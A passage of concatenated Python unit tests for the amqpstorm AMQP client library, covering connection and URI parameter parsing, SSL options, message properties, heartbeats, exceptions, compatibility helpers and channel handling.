        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', port='', lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', port=None, lazy=True)

    def test_connection_invalid_heartbeat(self):
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', heartbeat='5', lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', heartbeat=None, lazy=True)

    def test_connection_invalid_timeout(self):
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', timeout='6', lazy=True)
        self.assertRaises(AMQPInvalidArgument, Connection, '127.0.0.1',
                          'guest', 'guest', timeout=None, lazy=True)

    def test_connection_invalid_timeout_on_channel(self):
        connection = Connection('127.0.0.1', 'guest', 'guest', timeout=1,
                                lazy=True)

        self.assertRaisesRegexp(AMQPInvalidArgument,
                                'rpc_timeout should be an integer',
                                connection.channel, None)






import imp
import logging
import ssl
import sys

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import UriConnection
from amqpstorm import compatibility
from amqpstorm.exception import AMQPConnectionError

from amqpstorm.tests.utility import MockLoggingHandler

logging.basicConfig(level=logging.DEBUG)


class UriConnectionTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_uri_default(self):
        connection = \
            UriConnection('amqp://guest:guest@localhost:5672/%2F', True)

        self.assertEqual(connection.parameters['hostname'], 'localhost')
        self.assertEqual(connection.parameters['username'], 'guest')
        self.assertEqual(connection.parameters['password'], 'guest')
        self.assertEqual(connection.parameters['virtual_host'], '/')
        self.assertEqual(connection.parameters['port'], 5672)
        self.assertEqual(connection.parameters['heartbeat'], 60)
        self.assertEqual(connection.parameters['timeout'], 30)
        self.assertFalse(connection.parameters['ssl'])

    def test_uri_ssl(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)

        self.assertTrue(connection.parameters['ssl'])

    def test_uri_simple(self):
        connection = \
            UriConnection('amqps://localhost:5672/%2F', True)

        self.assertEqual(connection.parameters['hostname'], 'localhost')
        self.assertEqual(connection.parameters['username'], 'guest')
        self.assertEqual(connection.parameters['password'], 'guest')

    def test_uri_set_hostname(self):
        connection = \
            UriConnection('amqps://guest:guest@my-server:5672/%2F?'
                          'heartbeat=1337', True)

        self.assertIsInstance(connection.parameters['hostname'], str)
        self.assertEqual(connection.parameters['hostname'], 'my-server')

    def test_uri_set_username(self):
        connection = \
            UriConnection('amqps://username:guest@localhost:5672/%2F?'
                          'heartbeat=1337', True)

        self.assertIsInstance(connection.parameters['username'], str)
        self.assertEqual(connection.parameters['username'], 'username')

    def test_uri_set_password(self):
        connection = \
            UriConnection('amqps://guest:password@localhost:5672/%2F?'
                          'heartbeat=1337', True)

        self.assertIsInstance(connection.parameters['password'], str)
        self.assertEqual(connection.parameters['password'], 'password')

    def test_uri_set_port(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:1337/%2F', True)

        self.assertIsInstance(connection.parameters['port'], int)
        self.assertEqual(connection.parameters['port'], 1337)

    def test_uri_set_heartbeat(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F?'
                          'heartbeat=1337', True)

        self.assertIsInstance(connection.parameters['heartbeat'], int)
        self.assertEqual(connection.parameters['heartbeat'], 1337)

    def test_uri_set_timeout(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F?'
                          'timeout=1337', True)

        self.assertIsInstance(connection.parameters['timeout'], int)
        self.assertEqual(connection.parameters['timeout'], 1337)

    def test_uri_set_virtual_host(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/travis', True)

        self.assertIsInstance(connection.parameters['virtual_host'], str)
        self.assertEqual(connection.parameters['virtual_host'], 'travis')

    def test_uri_set_ssl(self):
        connection = UriConnection('amqps://guest:guest@localhost:5671/%2F?'
                                   'ssl_version=protocol_tlsv1&'
                                   'cert_reqs=cert_required&'
                                   'keyfile=file.key&'
                                   'certfile=file.crt&'
                                   'ca_certs=test', True)

        self.assertTrue(connection.parameters['ssl'])
        self.assertEqual(connection.parameters['ssl_options']['ssl_version'],
                         ssl.PROTOCOL_TLSv1)
        self.assertEqual(connection.parameters['ssl_options']['cert_reqs'],
                         ssl.CERT_REQUIRED)
        self.assertEqual(connection.parameters['ssl_options']['keyfile'],
                         'file.key')
        self.assertEqual(connection.parameters['ssl_options']['certfile'],
                         'file.crt')
        self.assertEqual(connection.parameters['ssl_options']['ca_certs'],
                         'test')

    def test_uri_get_ssl_version(self):
        connection = \
            UriConnection('amqp://guest:guest@localhost:5672/%2F', True)

        self.assertEqual(ssl.PROTOCOL_TLSv1,
                         connection._get_ssl_version('protocol_tlsv1'))

    def test_uri_get_ssl_validation(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)

        self.assertEqual(ssl.CERT_REQUIRED,
                         connection._get_ssl_validation('cert_required'))

    def test_uri_get_ssl_options(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)
        ssl_kwargs = {
            'cert_reqs': ['cert_required'],
            'ssl_version': ['protocol_tlsv1'],
            'keyfile': ['file.key'],
            'certfile': ['file.crt']
        }
        ssl_options = connection._parse_ssl_options(ssl_kwargs)

        self.assertEqual(ssl_options['cert_reqs'], ssl.CERT_REQUIRED)
        self.assertEqual(ssl_options['ssl_version'], ssl.PROTOCOL_TLSv1)
        self.assertEqual(ssl_options['keyfile'], 'file.key')
        self.assertEqual(ssl_options['certfile'], 'file.crt')

    def tearDown(self):
        self.assertFalse(self.logging_handler.messages['warning'])
        self.assertFalse(self.logging_handler.messages['error'])
        self.assertFalse(self.logging_handler.messages['critical'])


class UriConnectionExceptionTests(unittest.TestCase):
    """These tests are only so that we better understand when, and where
        UriConnection fails.
    """

    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    @unittest.skipIf(sys.version_info < (3, 3), 'Python 3.x test')
    def test_uri_py3_raises_on_invalid_uri(self):
        self.assertRaises(ValueError, UriConnection, 'amqp://a:b', True)

    @unittest.skipIf(sys.version_info[0] == 3, 'Python 2.x test')
    def test_uri_py2_raises_on_invalid_uri(self):
        self.assertRaises(ValueError, UriConnection, 'amqp://a:b', True)

    def test_uri_raises_on_invalid_object(self):
        self.assertRaises(AttributeError, UriConnection, None)
        self.assertRaises(AttributeError, UriConnection, {})
        self.assertRaises(AttributeError, UriConnection, [])
        self.assertRaises(AttributeError, UriConnection, ())

    def test_uri_invalid_ssl_options(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)
        ssl_kwargs = {
            'unit_test': ['not_required'],
        }
        ssl_options = connection._parse_ssl_options(ssl_kwargs)

        self.assertFalse(ssl_options)
        self.assertIn("invalid option: unit_test",
                      self.logging_handler.messages['warning'][0])

    def test_uri_get_invalid_ssl_version(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)

        self.assertEqual(connection._get_ssl_version('protocol_test'),
                         ssl.PROTOCOL_TLSv1)
        self.assertIn("ssl_options: ssl_version 'protocol_test' not found "
                      "falling back to PROTOCOL_TLSv1.",
                      self.logging_handler.messages['warning'][0])

    def test_uri_get_invalid_ssl_validation(self):
        connection = \
            UriConnection('amqps://guest:guest@localhost:5672/%2F', True)

        self.assertEqual(ssl.CERT_NONE,
                         connection._get_ssl_validation('cert_test'))
        self.assertIn("ssl_options: cert_reqs 'cert_test' not found "
                      "falling back to CERT_NONE.",
                      self.logging_handler.messages['warning'][0])

    def test_uri_ssl_not_supported(self):
        restore_func = sys.modules['ssl']
        try:
            sys.modules['ssl'] = None
            imp.reload(compatibility)
            self.assertIsNone(compatibility.ssl)
            self.assertRaisesRegexp(AMQPConnectionError,
                                    'Python not compiled with '
                                    'support for TLSv1 or higher',
                                    UriConnection,
                                    'amqps://localhost:5672/%2F')
        finally:
            sys.modules['ssl'] = restore_func
            imp.reload(compatibility)






import logging
import uuid
from datetime import datetime

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import Message
from amqpstorm.exception import *

from amqpstorm.tests.utility import FakeChannel

logging.basicConfig(level=logging.DEBUG)


class MessageTests(unittest.TestCase):
    def test_message_create_new_message(self):
        body = b'Hello World'

        message = Message.create(None, body,
                                 properties={'key': 'value',
                                             'headers': {
                                                 b'name': b'eandersson'}
                                             })

        self.assertIsInstance(message, Message)
        self.assertEqual(message._body, body)

        result = message.to_dict()

        self.assertIsNone(result['method'])
        self.assertEqual(result['body'], body)
        self.assertEqual(result['properties']['key'], 'value')

    def test_message_default_properties(self):
        body = b'Hello World'

        message = Message.create(None, body)

        self.assertIsNone(message.app_id)
        self.assertIsNone(message.reply_to)
        self.assertIsNone(message.content_encoding)
        self.assertIsNone(message.content_type)
        self.assertIsNone(message.priority)
        self.assertIsNone(message.delivery_mode)
        self.assertIsInstance(message.message_id, str)
        self.assertIsInstance(message.correlation_id, str)
        self.assertIsInstance(message.timestamp, datetime)

    def test_message_app_id_custom_value(self):
        app_id = 'my-app'

        message = Message.create(None, '')
        message.app_id = app_id

        self.assertEqual(app_id, message.app_id)

    def test_message_id_custom_value(self):
        message_id = 'my-message-1'

        message = Message.create(None, '')
        message.message_id = message_id

        self.assertEqual(message_id, message.properties['message_id'])
        self.assertEqual(message_id, message._properties['message_id'])

    def test_message_timestamp_custom_value(self):
        dt = datetime.now()

        message = Message.create(None, '')
        message.timestamp = dt

        self.assertEqual(dt, message.timestamp)

    def test_message_content_encoding_custom_value(self):
        content_encoding = 'gzip'

        message = Message.create(None, '')
        message.content_encoding = content_encoding

        self.assertEqual(content_encoding, message.content_encoding)

    def test_message_content_type_custom_value(self):
        content_type = 'application/json'

        message = Message.create(None, '')
        message.content_type = content_type

        self.assertEqual(content_type, message.content_type)

    def test_message_delivery_mode_two(self):
        delivery_mode = 2

        message = Message.create(None, '')
        message.delivery_mode = delivery_mode

        self.assertEqual(delivery_mode, message.delivery_mode)

    def test_message_priority_three(self):
        priority = 3

        message = Message.create(None, '')
        message.priority = priority

        self.assertEqual(priority, message.priority)

    def test_message_correlation_id_custom_value(self):
        correlation_id = str(uuid.uuid4())

        message = Message.create(None, '')
        message.correlation_id = correlation_id

        self.assertEqual(correlation_id, message.correlation_id)

    def test_message_reply_to_custom_value(self):
        reply_to = str(uuid.uuid4())

        message = Message.create(None, '')
        message.reply_to = reply_to

        self.assertEqual(reply_to, message.reply_to)

    def test_message_do_not_override_properties(self):
        reply_to = 'hello_world',
        correlation_id = str(uuid.uuid4())
        timestamp = datetime.now()

        properties = {
            'reply_to': reply_to,
            'correlation_id': correlation_id,
            'timestamp': timestamp
        }

        message = Message.create(None, '', properties)

        self.assertEqual(reply_to, message.reply_to)
        self.assertEqual(correlation_id, message.correlation_id)
        self.assertEqual(timestamp, message.timestamp)

    def test_message_get_channel(self):
        class FakeClass(object):
            pass

        message = Message(body='',
                          channel=FakeClass())

        self.assertIsInstance(message.channel, FakeClass)

    def test_message_ack(self):
        delivery_tag = 123456
        message = Message.create(body='',
                                 channel=FakeChannel())
        message._method = {
            'delivery_tag': delivery_tag
        }

        message.ack()
        result = message.channel.result.pop(0)
        self.assertEqual(result[0], delivery_tag)
        self.assertEqual(result[1], False)

    def test_message_nack(self):
        delivery_tag = 123456
        message = Message.create(body='',
                                 channel=FakeChannel())
        message._method = {
            'delivery_tag': delivery_tag
        }

        message.nack(requeue=True)
        result = message.channel.result.pop(0)
        self.assertEqual(result[0], delivery_tag)
        self.assertEqual(result[1], False)
        self.assertEqual(result[2], True)

        message.nack(requeue=False)
        result = message.channel.result.pop(0)
        self.assertEqual(result[0], delivery_tag)
        self.assertEqual(result[1], False)
        self.assertEqual(result[2], False)

    def test_message_reject(self):
        delivery_tag = 123456
        message = Message.create(body='',
                                 channel=FakeChannel())
        message._method = {
            'delivery_tag': delivery_tag
        }

        message.reject(requeue=True)
        result = message.channel.result.pop(0)
        self.assertEqual(result[0], delivery_tag)
        self.assertEqual(result[1], True)

        message.reject(requeue=False)
        result = message.channel.result.pop(0)
        self.assertEqual(result[0], delivery_tag)
        self.assertEqual(result[1], False)

    def test_message_ack_raises_on_outbound(self):
        message = Message.create(body='',
                                 channel=None)

        self.assertRaises(AMQPMessageError, message.ack)

    def test_message_nack_raises_on_outbound(self):
        message = Message.create(body='',
                                 channel=None)

        self.assertRaises(AMQPMessageError, message.nack)

    def test_message_reject_raises_on_outbound(self):
        message = Message.create(body='',
                                 channel=None)

        self.assertRaises(AMQPMessageError, message.reject)

    def test_message_auto_decode_enabled(self):
        body = 'Hello World',
        message = Message(body=body,
                          properties={'key': 'value',
                                      'headers': {b'name': b'eandersson'}},
                          channel=None)

        self.assertEqual(body, message.body)
        self.assertIn('name', message.properties['headers'])
        self.assertIn(b'name', message._properties['headers'])
        self.assertIsInstance(message.properties['headers']['name'], str)

    def test_message_auto_decode_cache(self):
        body = 'Hello World',
        message = Message(body=body,
                          channel=None)

        self.assertEqual(body, message.body)
        message._body = 'invalidate'
        self.assertEqual(body, message.body)

    def test_message_auto_decode_when_method_is_none(self):
        message = Message(body='Hello World',
                          method=None,
                          channel=None)

        self.assertIsNone(message.method)

    def test_message_auto_decode_when_method_contains_list(self):
        method_data = {'key': [b'a', b'b']}

        message = Message(body='Hello World',
                          method=method_data,
                          channel=None)

        self.assertEqual(method_data['key'][0].decode('utf-8'),
                         message.method['key'][0])

    def test_message_auto_decode_when_method_is_tuple(self):
        method_data = (1, 2, 3, 4, 5)

        message = Message(body='Hello World',
                          method=method_data,
                          channel=None)

        self.assertEqual(method_data, message.method)
        self.assertEqual(method_data[0], message.method[0])
        self.assertEqual(method_data[4], message.method[4])

    def test_message_auto_decode_when_properties_contains_list(self):
        prop_data = [b'travis', 2, 3, 4, 5]

        message = Message(body='Hello World',
                          properties={'key': prop_data},
                          channel=None)

        self.assertIsInstance(message.properties['key'], list)
        self.assertEqual(prop_data[0].decode('utf-8'),
                         message.properties['key'][0])
        self.assertEqual(prop_data[4], message.properties['key'][4])

    def test_message_auto_decode_when_properties_contains_tuple(self):
        prop_data = (b'travis', 2, 3, 4, 5)

        message = Message(body='Hello World',
                          properties={'key': prop_data},
                          channel=None)

        self.assertIsInstance(message.properties['key'], tuple)
        self.assertEqual(prop_data[0].decode('utf-8'),
                         message.properties['key'][0])
        self.assertEqual(prop_data[4], message.properties['key'][4])

    def test_message_auto_decode_when_properties_contains_dict(self):
        prop_data = {
            'hello': b'travis'
        }

        message = Message(body='Hello World',
                          properties={'key': prop_data},
                          channel=None)

        self.assertIsInstance(message.properties['key'], dict)
        self.assertEqual(prop_data['hello'].decode('utf-8'),
                         message.properties['key']['hello'])

    def test_message_auto_decode_disabled(self):
        body = 'Hello World'
        message = Message(body=body,
                          properties={'key': 'value',
                                      'headers': {b'name': b'eandersson'}},
                          channel=None,
                          auto_decode=False)

        self.assertEqual(body, message.body)
        self.assertIn(b'name', message.properties['headers'])
        self.assertIsInstance(message.properties['headers'][b'name'], bytes)

    def test_message_update_property_with_decode(self):
        message = Message(None, auto_decode=True)
        message._update_properties('app_id', '123')
        self.assertEqual(message.properties['app_id'], '123')
        self.assertEqual(message._properties['app_id'], '123')

    def test_message_update_property_without_decode(self):
        message = Message.create(None, '', None)
        message._auto_decode = False
        message._update_properties('app_id', '123')
        self.assertEqual(message.properties['app_id'], '123')
        self.assertEqual(message._properties['app_id'], '123')

    def test_message_json(self):
        body = '{"key": "value"}'
        message = Message(body=body, channel=None)

        result = message.json()

        self.assertIsInstance(result, dict)
        self.assertEqual(result['key'], 'value')

    def test_message_dict(self):
        body = b'Hello World'
        properties = {'key': 'value'}
        method = {b'alternative': 'value'}
        message = Message(body=body,
                          properties=properties,
                          method=method,
                          channel=None)

        result = dict(message)

        self.assertIsInstance(result, dict)
        self.assertEqual(result['body'], body)
        self.assertEqual(result['properties'], properties)
        self.assertEqual(result['method'], method)

    def test_message_to_dict(self):
        body = b'Hello World'
        properties = {'key': 'value'}
        method = {b'alternative': 'value'}
        message = Message(body=body,
                          properties=properties,
                          method=method,
                          channel=None)

        result = message.to_dict()

        self.assertIsInstance(result, dict)
        self.assertEqual(result['body'], body)
        self.assertEqual(result['properties'], properties)
        self.assertEqual(result['method'], method)

    def test_message_to_tuple(self):
        body = b'Hello World'
        message = Message(body=body,
                          properties={'key': 'value'},
                          method={'key': 'value'},
                          channel=None)

        body, channel, method, properties = message.to_tuple()

        self.assertEqual(body, body)
        self.assertIsInstance(method, dict)
        self.assertIsInstance(properties, dict)
        self.assertIsNone(channel)






import logging
import time

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm.heartbeat import Heartbeat
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.tests.utility import fake_function

logging.basicConfig(level=logging.DEBUG)


class HeartbeatTests(unittest.TestCase):
    def test_heartbeat_start(self):
        heartbeat = Heartbeat(60, fake_function)

        self.assertFalse(heartbeat._running.is_set())

        heartbeat.start([])

        self.assertTrue(heartbeat._running.is_set())

        self.assertIsNotNone(heartbeat._timer)
        heartbeat.stop()

    def test_heartbeat_disabled(self):
        heartbeat = Heartbeat(0, fake_function)

        self.assertFalse(heartbeat._running.is_set())

        heartbeat.start([])

        self.assertFalse(heartbeat._running.is_set())
        self.assertIsNone(heartbeat._timer)

    def test_heartbeat_stop(self):
        heartbeat = Heartbeat(60, fake_function)

        self.assertFalse(heartbeat._running.is_set())

        heartbeat.start([])

        self.assertTrue(heartbeat._running.is_set())

        heartbeat.stop()

        self.assertFalse(heartbeat._running.is_set())
        self.assertIsNone(heartbeat._timer)

    def test_heartbeat_interval(self):
        heartbeat = Heartbeat(0, fake_function)

        self.assertEqual(heartbeat._interval, 0)
        self.assertEqual(heartbeat._threshold, 0)

        heartbeat = Heartbeat(60, fake_function)

        self.assertEqual(heartbeat._interval, 60)
        self.assertEqual(heartbeat._threshold, 0)

        heartbeat = Heartbeat(360, fake_function)

        self.assertEqual(heartbeat._interval, 360)
        self.assertEqual(heartbeat._threshold, 0)

    def test_heartbeat_register_reads(self):
        heartbeat = Heartbeat(60, fake_function)
        time.sleep(0.01)
        for _ in range(100):
            heartbeat.register_read()

        self.assertEqual(heartbeat._reads_since_check, 100)

    def test_heartbeat_register_writes(self):
        heartbeat = Heartbeat(60, fake_function)
        time.sleep(0.01)
        for _ in range(100):
            heartbeat.register_write()

        self.assertEqual(heartbeat._writes_since_check, 100)

    def test_heartbeat_do_not_execute_life_signs_when_stopped(self):
        heartbeat = Heartbeat(60, fake_function)

        self.assertFalse(heartbeat._check_for_life_signs())

    def test_heartbeat_do_not_start_new_timer_when_stopped(self):
        heartbeat = Heartbeat(60, fake_function)

        self.assertIsNone(heartbeat._timer)

        heartbeat._start_new_timer()

        self.assertIsNone(heartbeat._timer)

    def test_heartbeat_basic_raise_on_missed_heartbeats(self):
        heartbeat = Heartbeat(0.01, fake_function)
        exceptions = []
        heartbeat.start(exceptions)
        time.sleep(0.1)

        self.assertGreater(len(heartbeat._exceptions), 0)

        heartbeat.stop()

    def test_heartbeat_send_heartbeat(self):
        self.beats = 0

        def send_heartbeat():
            self.beats += 1

        heartbeat = Heartbeat(60, send_heartbeat=send_heartbeat)
        heartbeat._running.set()

        for _ in range(10):
            heartbeat.register_read()
            self.assertTrue(heartbeat._check_for_life_signs())
        self.assertEqual(self.beats, 10)

        heartbeat.stop()

    def test_heartbeat_threshold_reset(self):
        heartbeat = Heartbeat(60, fake_function)
        heartbeat._running.set()
        heartbeat.register_write()

        self.assertEqual(heartbeat._threshold, 0)
        self.assertTrue(heartbeat._check_for_life_signs())
        self.assertEqual(heartbeat._threshold, 1)

        heartbeat.register_write()
        heartbeat.register_read()

        self.assertTrue(heartbeat._check_for_life_signs())
        self.assertEqual(heartbeat._threshold, 0)

    def test_heartbeat_raise_after_threshold(self):
        heartbeat = Heartbeat(60, fake_function)
        exceptions = []
        heartbeat.start(exceptions)
        heartbeat.register_write()

        self.assertTrue(heartbeat._check_for_life_signs())

        heartbeat.register_write()

        self.assertFalse(heartbeat._check_for_life_signs())
        self.assertTrue(exceptions)

        heartbeat.stop()

    def test_heartbeat_raise_when_check_for_life_when_exceptions_not_set(self):
        heartbeat = Heartbeat(60, fake_function)
        heartbeat._running.set()
        heartbeat._reads_since_check = 0
        heartbeat._threshold = 3
        heartbeat.register_write()

        # Normally the exception should be passed down to the list of
        # exceptions in the connection, but if that list for some obscure
        # reason is None, we should raise directly in _check_for_life_signs.
        self.assertRaises(AMQPConnectionError, heartbeat._check_for_life_signs)

    def test_heartbeat_extended_loop(self):
        self.beats = 0

        def send_heartbeat():
            self.beats += 1

        heartbeat = Heartbeat(60, send_heartbeat=send_heartbeat)
        heartbeat._running.set()
        heartbeat.register_read()

        # Miss one write/
        self.assertTrue(heartbeat._check_for_life_signs())

        for _ in range(1000):
            heartbeat.register_read()
            heartbeat.register_write()

            self.assertFalse(heartbeat._threshold)
            self.assertTrue(heartbeat._check_for_life_signs())

        heartbeat.register_write()

        # Miss one read.
        self.assertTrue(heartbeat._check_for_life_signs())

        self.assertEqual(heartbeat._threshold, 1)
        self.assertEqual(self.beats, 1)

        heartbeat.register_read()
        heartbeat.register_write()
        self.assertTrue(heartbeat._check_for_life_signs())

        self.assertEqual(heartbeat._threshold, 0)

        heartbeat.stop()












import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm.exception import AMQPError

logging.basicConfig(level=logging.DEBUG)


class ExceptionTests(unittest.TestCase):
    def test_exception_documentation_matching(self):
        exception = AMQPError('error', reply_code=312)

        self.assertEqual(str(exception), 'error')

        self.assertEqual(exception.documentation,
                         'Undocumented AMQP Soft Error')

    def test_exception_error_type_matching(self):
        exception = AMQPError('error', reply_code=404)

        self.assertEqual(str(exception), 'error')

        self.assertEqual(exception.error_type,
                         'NOT-FOUND')

    def test_exception_error_code_matching(self):
        exception = AMQPError('error', reply_code=406)

        self.assertEqual(str(exception), 'error')

        self.assertEqual(exception.error_code, 406)

    def test_exception_invalid_error_code(self):
        exception = AMQPError('error', reply_code=123)

        self.assertEqual(str(exception), 'error')
        self.assertEqual(exception.error_code, 123)

        self.assertFalse(exception.error_type)
        self.assertFalse(exception.documentation)

    def test_exception_no_error_code(self):
        exception = AMQPError('error')

        self.assertEqual(str(exception), 'error')

        self.assertFalse(exception.error_type)
        self.assertFalse(exception.error_code)
        self.assertFalse(exception.documentation)






# -*- coding: utf-8 -*-
import imp
import logging
import ssl
import sys

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm import compatibility
from amqpstorm.tests.utility import SslTLSNone
from amqpstorm.tests.utility import SslTLSv1
from amqpstorm.tests.utility import SslTLSv1_1
from amqpstorm.tests.utility import SslTLSv1_2

logging.basicConfig(level=logging.DEBUG)


class CompatibilityTests(unittest.TestCase):
    def test_compatibility_basic_integer(self):
        x = 0
        self.assertTrue(compatibility.is_integer(x))

    def test_compatibility_not_integer(self):
        x = ''
        self.assertFalse(compatibility.is_integer(x))

    @unittest.skipIf(sys.version_info[0] == 3, 'No long obj in Python 3')
    def test_compatibility_long_integer(self):
        x = long(1)
        self.assertTrue(compatibility.is_integer(x))

    def test_compatibility_normal_string(self):
        x = ''
        self.assertTrue(compatibility.is_string(x))

    def test_compatibility_byte_string(self):
        x = b''
        self.assertTrue(compatibility.is_string(x))

    @unittest.skipIf(sys.version_info[0] == 3, 'No unicode obj in Python 3')
    def test_compatibility_unicode_string(self):
        x = u'Mor, lilla mor, vem är väl som du'
        self.assertTrue(compatibility.is_string(x))

    def test_compatibility_is_not_string(self):
        x = 0
        self.assertFalse(compatibility.is_string(x))

    @unittest.skipIf(sys.version_info[0] == 3, 'No unicode obj in Python 3')
    def test_compatibility_is_unicode(self):
        x = u'Mor, lilla mor, vem är väl som du'
        self.assertTrue(compatibility.is_unicode(x))

    def test_compatibility_is_not_unicode(self):
        x = ''
        self.assertFalse(compatibility.is_unicode(x))

    @unittest.skipIf(sys.version_info[0] == 3, 'No unicode obj in Python 3')
    def test_compatibility_py2_try_utf8_decode(self):
        x = unicode('hello world')
        self.assertEqual(str(x), compatibility.try_utf8_decode(x))

    @unittest.skipIf(sys.version_info[0] == 2, 'No bytes decoding in Python 2')
    def test_compatibility_py3_try_utf8_decode(self):
        x = bytes('hello world', 'utf-8')
        self.assertEqual(x.decode('utf-8'), compatibility.try_utf8_decode(x))

    def test_compatibility_fail_silently_on_utf_16(self):
        x = 'abc'.encode('utf-16')
        self.assertEqual(compatibility.try_utf8_decode(x), x)

    def test_compatibility_fail_silently_on_utf_32(self):
        x = 'abc'.encode('utf-32')
        self.assertEqual(compatibility.try_utf8_decode(x), x)

    def test_compatibility_try_utf8_decode_on_integer(self):
        x = 5
        self.assertEqual(x, compatibility.try_utf8_decode(x))

    def test_compatibility_try_utf8_decode_on_dict(self):
        x = dict(hello='world')
        self.assertEqual(x, compatibility.try_utf8_decode(x))

    @unittest.skipIf(sys.version_info[0] == 3, 'Python 2.x test')
    def test_compatibility_python_2_x(self):
        self.assertFalse(compatibility.PYTHON3)

    @unittest.skipIf(sys.version_info[0] == 2, 'Python 3.x test')
    def test_compatibility_python_3_x(self):
        self.assertTrue(compatibility.PYTHON3)

    @unittest.skipIf(sys.version_info[0] == 3, 'Python 2.x test')
    def test_compatibility_python_2_x_range(self):
        self.assertEqual(compatibility.RANGE, xrange)

    @unittest.skipIf(sys.version_info[0] == 2, 'Python 3.x test')
    def test_compatibility_python_3_x_range(self):
        self.assertEqual(compatibility.RANGE, range)

    def test_compatibility_ssl_is_set(self):
        self.assertIsNotNone(compatibility.ssl)

    def test_compatibility_urlparse_is_set(self):
        self.assertIsNotNone(compatibility.urlparse)

    def test_compatibility_range_is_set(self):
        self.assertIsNotNone(compatibility.RANGE)

    def test_compatibility_patch_uri(self):
        self.assertEqual(compatibility.patch_uri('amqps://'), 'https://')
        self.assertEqual(compatibility.patch_uri('amqp://'), 'http://')


class CompatibilitySslTests(unittest.TestCase):
    @unittest.skipIf('ssl' not in sys.modules, 'Python not compiled '
                                               'with SSL support')
    def test_compatibility_default_ssl_version(self):
        self.assertTrue(compatibility.SSL_SUPPORTED)
        if hasattr(ssl, 'PROTOCOL_TLSv1_2'):
            self.assertEqual(compatibility.DEFAULT_SSL_VERSION,
                             ssl.PROTOCOL_TLSv1_2)
        else:
            self.assertEqual(compatibility.DEFAULT_SSL_VERSION,
                             ssl.PROTOCOL_TLSv1)

    def test_compatibility_default_ssl_none(self):
        restore_func = compatibility.ssl
        try:
            compatibility.ssl = None
            self.assertIsNone(compatibility.get_default_ssl_version())
        finally:
            compatibility.ssl = restore_func

    def test_compatibility_default_tls_1_2(self):
        restore_func = compatibility.ssl
        try:
            compatibility.ssl = SslTLSv1_2
            self.assertEqual(compatibility.get_default_ssl_version(), 5)
        finally:
            compatibility.ssl = restore_func

    def test_compatibility_default_tls_1_1(self):
        restore_func = compatibility.ssl
        try:
            compatibility.ssl = SslTLSv1_1
            self.assertEqual(compatibility.get_default_ssl_version(), 4)
        finally:
            compatibility.ssl = restore_func

    def test_compatibility_default_tls_1(self):
        restore_func = compatibility.ssl
        try:
            compatibility.ssl = SslTLSv1
            self.assertEqual(compatibility.get_default_ssl_version(), 3)
        finally:
            compatibility.ssl = restore_func

    def test_compatibility_default_tls_not_available(self):
        restore_func = compatibility.ssl
        try:
            compatibility.ssl = SslTLSNone
            self.assertIsNone(compatibility.get_default_ssl_version())
        finally:
            compatibility.ssl = restore_func

    def test_compatibility_ssl_not_defined(self):
        restore_func = sys.modules['ssl']
        try:
            sys.modules['ssl'] = None
            imp.reload(compatibility)
            self.assertIsNone(compatibility.ssl)
            self.assertIsNone(compatibility.DEFAULT_SSL_VERSION)
            self.assertFalse(compatibility.SSL_SUPPORTED)
            self.assertFalse(compatibility.SSL_CERT_MAP)
            self.assertFalse(compatibility.SSL_VERSIONS)
        finally:
            sys.modules['ssl'] = restore_func
            imp.reload(compatibility)






import logging
import threading

import mock

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from pamqp import specification
from pamqp.body import ContentBody
from pamqp.header import ContentHeader

import amqpstorm
from amqpstorm import exception
from amqpstorm import Message
from amqpstorm import Channel
from amqpstorm.basic import Basic
from amqpstorm.exchange import Exchange
from amqpstorm.queue import Queue
from amqpstorm.exception import *
from amqpstorm.tests.utility import FakeConnection
from amqpstorm.tests.utility import FakeFrame
from amqpstorm.tests.utility import MockLoggingHandler

logging.basicConfig(level=logging.DEBUG)


class ChannelTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_channel_with_statement_when_closed(self):
        with Channel(0, None, 360) as channel:
            self.assertIsInstance(channel, Channel)

    def test_channel_with_statement_when_open(self):
        connection = FakeConnection(FakeConnection.CLOSED)
        with Channel(0, connection, 360) as channel:
            channel.set_state(channel.OPEN)
            self.assertIsInstance(channel, Channel)

    def test_channel_with_statement_when_failing(self):
        connection = FakeConnection()
        try:
            with Channel(0, connection, 360) as channel:
                channel.exceptions.append(AMQPChannelError('error'))
                channel.check_for_errors()
        except AMQPChannelError as why:
            self.assertIsInstance(why, AMQPChannelError)

        self.assertEqual(self.logging_handler.messages['warning'][0],
                         'Closing channel due to an unhandled exception: '
                         'error')

    def test_channel_id(self):
        channel = Channel(0, None, 360)

        self.assertEqual(int(channel), 0)

        channel = Channel(1557, None, 360)

        self.assertEqual(int(channel), 1557)

    def test_channel_close(self):
        channel = Channel(0, None, 360)

        # Set up Fake Channel.
        channel._inbound = [1, 2, 3]
        channel.set_state(channel.OPEN)
